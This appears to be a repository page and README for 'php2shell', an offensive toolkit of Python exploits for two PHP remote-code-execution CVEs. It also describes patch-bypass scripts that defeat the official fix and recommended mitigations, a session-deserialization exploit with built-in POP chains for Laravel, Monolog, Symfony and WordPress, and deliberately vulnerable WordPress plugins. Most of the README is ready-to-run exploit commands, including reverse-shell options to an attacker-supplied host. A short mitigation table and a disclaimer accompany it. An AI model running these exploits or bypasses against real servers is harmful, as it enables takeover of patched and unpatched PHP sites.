neko 7fecd435cc Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers:
when one endpoint writes sessions with php_serialize (Laravel, Symfony
default) and another reads with the php handler (PHP default), injected
pipe characters cause arbitrary deserialization at session_start().

12 built-in POP chains covering current and legacy library versions:
- monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest)
- laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest)
- monolog-cmd/fw: Monolog 1.17.2-2.x
- laravel-cmd/fw: illuminate 5.4-8.x
- guzzle-fw: Guzzle 4.0-7.x
- symfony-cmd/fw: Symfony 2.6-4.4.18
- wordpress-cmd/fw: WordPress 6.4.0-6.4.1

All chains tested end-to-end through the full HTTP exploit flow on
PHP 8.3. Accepts custom phpggc chains via --chain-file.
2026-10-21 20:47:37 +00:00

php2shell — CVE-2026-109618 & CVE-2026-109619

Remote Code Execution exploits for two critical PHP vulnerabilities in the multipart parser and session upload progress handler. Includes three bypass exploits that defeat the official security patch and all recommended mitigations.

No external dependencies — pure Python 3 stdlib.

Vulnerabilities

CVE-2026-109618 — OOM in the multipart parser (rfc1867.c) triggers zend_bailout(), which longjmps past MULTIPART_EVENT_END and skips session cleanup. A session file poisoned via PHP_SESSION_UPLOAD_PROGRESS persists on disk with attacker-controlled PHP code. LFI includes it for RCE.

CVE-2026-109619 — PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data verbatim into the session file. With cleanup=0, or via race condition against cleanup=1, the poisoned session file is includable via LFI for RCE.

Affected: PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.

Exploits

Script Target Description
cve-2026-109618/exploit.py Unpatched PHP OOM → session persistence → LFI → RCE
cve-2026-109619/exploit.py Unpatched PHP Session poisoning (direct + race) → LFI → RCE
session-deser/exploit.py Any PHP Handler mismatch → deserialization → RCE (no LFI)
wordpress-exploit/exploit_wp.py WordPress Auto-detecting wrapper for both CVEs
bypass/race_bypass_patched.py Patched PHP TOCTOU race — session data on disk during upload
bypass/rlimit_bypass_patched.py Patched PHP mmap() failure via RLIMIT_AS bypasses the patch
bypass/procfd_bypass_hardened.py Fully hardened /proc/PID/fd temp file — bypasses all mitigations
bypass/waf_bypass_test.py WAF rules Tests Content-Type evasion against WAF rules

Prerequisites

  • Python 3.8+
  • Target running PHP-FPM with session.upload_progress.enabled=1 (default)
  • A Local File Inclusion vector in the target application
  • Known or guessable session.save_path (common: /tmp, /var/lib/php/sessions)

Usage

# CVE-2026-109618: OOM exploit
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
# Use --no-chunked when nginx has fastcgi_request_buffering off
# Use --fields / --field-size to tune OOM threshold for target memory_limit

# CVE-2026-109619: Session poisoning (direct or race)
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race

# WordPress (auto-detects LFI parameter)
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'

# Patch bypass: race condition on PHP 8.4.27+
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'

# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'

# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345

All exploits support --cmd, --lhost/--lport (reverse shell), and --trigger-only. Use --session-path and --lfi-param to override auto-detection.

Session Deserialization (No LFI)

session-deser/exploit.py exploits session.serialize_handler mismatches for RCE without any LFI vulnerability. When one endpoint uses php_serialize (Laravel, Symfony default) and another uses the php handler (PHP default), the pipe character in session data triggers arbitrary deserialization.

Requires a deployment where two endpoints share session storage but use different handlers. This occurs when a framework application coexists with non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).

Built-in POP chains for current library versions:

Chain Library Tested version
monolog3-fw monolog/monolog 3.0+ 3.12.1 (latest)
laravel10-cmd/fw illuminate 10.0-13.x+ v13.38.0 (latest)

Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x, Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains via --chain-file. See session-deser/README.md for details.

python3 session-deser/exploit.py \
    --inject-url http://target/laravel-endpoint.php \
    --trigger-url http://target/legacy-script.php \
    --chain laravel10-cmd --cmd 'id'

Patch Bypass Findings

The PHP 8.4.27 patch has three confirmed bypass paths to RCE:

1. Race condition (TOCTOU) — Session upload progress data exists on disk during file upload. Cleanup only runs at MULTIPART_EVENT_END. A concurrent LFI request includes the file during the upload window. Inherent to the feature design.

2. RLIMIT_AS / mmap() failure — The patch intercepts OOM from PHP's memory_limit but not from OS-level limits. With memory_limit=-1 and RLIMIT_AS or cgroup memory limits, mmap() fails through an unpatched code path. Worker exits code 1 (not the patched code 70), session persists.

3. /proc/PID/fd temp file — During multipart upload, PHP's temp file is includable via /proc/<pid>/fd/<N> from another FPM worker. No session poisoning needed. Bypasses every recommended mitigation.

Mitigation Matrix

Mitigation Race RLIMIT /proc/fd
Patch alone FAIL FAIL FAIL
+ upload_progress=0 OK OK FAIL
+ hidepid=2 on /proc FAIL FAIL OK
+ upload_progress=0 + hidepid=2 OK OK OK
Fix the LFI OK OK OK

Recommendations

  1. Set session.upload_progress.enabled=0 in php.ini
  2. Mount /proc with hidepid=2 (or hidepid=invisible)
  3. Fix any LFI vulnerabilities in applications
  4. Set open_basedir to restrict filesystem access

WordPress

The WordPress exploit requires a plugin that calls session_start() and has an LFI vector. Two demo plugins are included:

  • wordpress-exploit/vuln-plugin.php — Minimal mu-plugin with session + LFI
  • wordpress/wp-content/plugins/developer-toolkit/ — Realistic plugin with template preview, log viewer, and session-based features

Install as mu-plugin: cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/

Disclaimer

For authorized security testing and research only. Obtain proper authorization before testing against any system you do not own.

S
Description
No description provided
Readme
268 KiB
Languages
Python 99.8%
PHP 0.2%